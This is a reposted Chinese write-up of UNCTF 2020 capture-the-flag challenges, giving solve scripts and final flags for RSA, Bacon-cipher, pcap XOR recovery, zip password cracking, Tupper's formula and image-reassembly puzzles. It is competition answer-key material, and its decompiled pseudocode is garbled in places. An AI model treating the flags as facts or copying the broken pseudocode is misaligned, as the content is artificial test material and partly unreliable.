scanf(&input,21);
int r1 = 3, r2 = 0, r0 = 0, flag = 1, v1;
int encrypt[21] = [150,48,144,106,159,54,39,116,179,49,157,95,142,95,17,97,157,121,39,118,131];
do{
    r0 = pow(input[r2],7) mod 187;
    input[r2] = r0;
    if (r2 > 20) 
        r0 = 0;
    else{
        if r2 > 20 
            r0 = 1;
        else 
            r0 = 2;
    } 
    r2 += 2;
    if (r0 == 1)
        flag = 1;
    else 
        flag = 0
}while(flag)
while ( encrypt[v3] == input[v3] ){
  if ( ++v3 == 21 ){
    puts("wuhu flag is what you input");
    return 0;
  }
}
puts("wrong! maybe you are not a hacker !");

很明顯就是對輸入進行隔行rsa加密,注意加密內容是字符不是數字。

腳本和純動態的一樣,就不寫了。

Crypto

鞍山大法官開庭之缺的營養這一塊怎么補:

只有兩個字符,猜測是培根密碼,把o換成A,t換成B,在線解密一下得peigenhenyouyingyang。

原本以為flag是:unctf{peigenhenyouyingyang},結果不對。后來發現是全大寫,所以flag為unctf{PEIGENHENYOUYINGYANG}

easy_rsa:

給了a,b,e,c且a = p + q, b = p - q,直接上腳本。

import libnum
from Crypto.Util import number
import gmpy2
from Crypto.Util.number import long_to_bytes

a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
p = (a+b)/2
q = (a-b)/2
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
m = pow(c,d,n)
print(libnum.n2s(m))
#UNCTF{welcome_to_rsa}

MISC

baba_is_you:

png后面有個bilibili網址,點進去第一條評論就是flag

爺的歷險記:

之前WMCTF有過類似的RPG,直接上手RPG Maker MV,重建游戲,把所有文件復制到新建工程中。

觀察了一下,有hint1,hint2,hint3,flag1,flag2,flag3。一股腦在room中將那條狗賦予商品處理事件,里面直接售賣hint1,hint2,hint3,flag1,flag2,flag3,且金錢調為0。

進入游戲,購買商品。發現flag3和hint3都是寫着UNCTF{WelC0me_ 70_ UNCTF2oZ0~}。

但是,這個出題人可能腦抽了,直接明文搜UNCTF就可以搜到flag。。。。

YLB's CAPTCHA - 簽到題:

沒什么好說的,就是硬看。

躲貓貓:

直接打開報錯,右鍵壓縮包打開,窮舉。

發現sharedStrings.xml中有個dW5jdGYlN0I3MzgzYjY3ZGU5MTA2YTZmMTBmZGJlNGU4ZWJjNjRjZSU3RA==

解碼base64得unctf%7B7383b67de9106a6f10fdbe4e8ebc64ce%7D,再url解碼得unctf{7383b67de9106a6f10fdbe4e8ebc64ce}

YLB絕密文件:

直接用 foremost分離,得到一堆htm文件和zip,zip損壞打不開,逐個分析網頁可得,用戶一共上傳成功了YLBSB.zip,secret.cpython-38.pyc,xor.py這三個文件。

用wireshark打開,定位到xor.py,復制tcp流,整理一下可得加密腳本

#coding:utf-8
import base64
from secret import key
file =open("YLBSB.docx", "rb")
enc =open("YLBSB.xor", "wb")
plain = base64.b64encode(file.read())
count = 0
for c in plain:   
    d = chr(c ^ ord(key[count % len(key)]))
    enc.write(d.encode())
    count =count + 1

再定位到YLBSB.zip,導出 tcp流,保存為zip,打開解壓的YLBSB.xor。

在導出pyc的過程中出了點問題,之后看到

Content-Disposition: form-data; name="uploadfile"; filename="secret.cpython-38.pyc"
Content-Type: application/x-python-code

U

....k.._#........................@...s....d.Z.d.S.).z.YLBSB?YLBNB!N)...key..r....r.....9C:\Users\yolo-\Downloads\HQU\CTF\UNCTF2020\Misc\secret.py..<module>.........

猜測key為YLBSB?YLBNB!,寫解密腳本

import base64, binascii
enc =open("YLBSB.xor", "rb")
file =open("YLBSB.docx", "wb")
key = "YLBSB?YLBNB!"
plain = enc.read().decode()
count = 0
d =''
for c in plain:
    a = chr(ord(c) ^ ord(key[count % len(key)]))
    d = d + a
    count =count + 1
file.write(base64.b64decode(d))

得到YLBSB.docx,打開發現最后沒有文字,卻有英文檢查出現錯誤時標志的下滑波浪線,選定,調為黑色得flag:UNCTF{Best_YLB_Ever}

陰陽人編碼:

把就這和不會吧換成Ook,把¿換成?,找個網址解密Ook密碼得flag:flag{9_zhe_Jiu_zhe_8_hui_8}

網絡深處1:

給了三個文件,zip是加密的,打開提示可得密碼是純數字,將撥號音拖入Audacity,觀察頻譜圖,可知密碼為11位數,上ARCHPR破解得密碼15975384265,解密得到一個wav和一個txt,繼續將電話錄音拖入Audacity,觀察頻譜圖,得到tupper關鍵字。

百度后可知是Tupper自我指涉公式,扒個官網的畫圖代碼,

def Tupper_self_referential_formula(): 
        k = 636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871
        
	def f(x,y):
		d = ((-17 * x) - (y % 17))
		e = reduce(lambda x,y: x*y, [2 for x in range(-d)]) if d else 1
		f = ((y / 17) / e)
		g = f % 2
        	return 0.5 < g

	for y in range(k+16, k-1, -1):
		line = ""
		for x in range(0, 107):
            		if f(x,y):
				line += "@"
			else:
				line += " "
        	print line

if __name__ == '__main__':

    returned = Tupper_self_referential_formula()
    if returned:
        print str(returned)

k即為txt里給的那一大串數字。運行得

DmBtYt.jpg

flag:flag{Y29PBA==}不用去解密成coil。。。。。

被刪除的flag:

和我之前國賽做的電腦被黑沒有什么區別,按照套路走一遍就拿到flag:unctf{congratulations!}

EZ_IMAGE:

得到225張圖,用ImageMagick中的montage命令合成一張大圖

montage *.jpg -tile 15x15 -geometry 60x60+0+0 out.jpg

DmBQyD.jpg

得到一張大圖之后,用gaps來進行還原:

gaps --image=out.jpg --generations=40 --population=225 --size=60 --save

DmBnW6.jpg

得到flag:UNCTF{EZ_MISC_AND_HACK_FUN}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM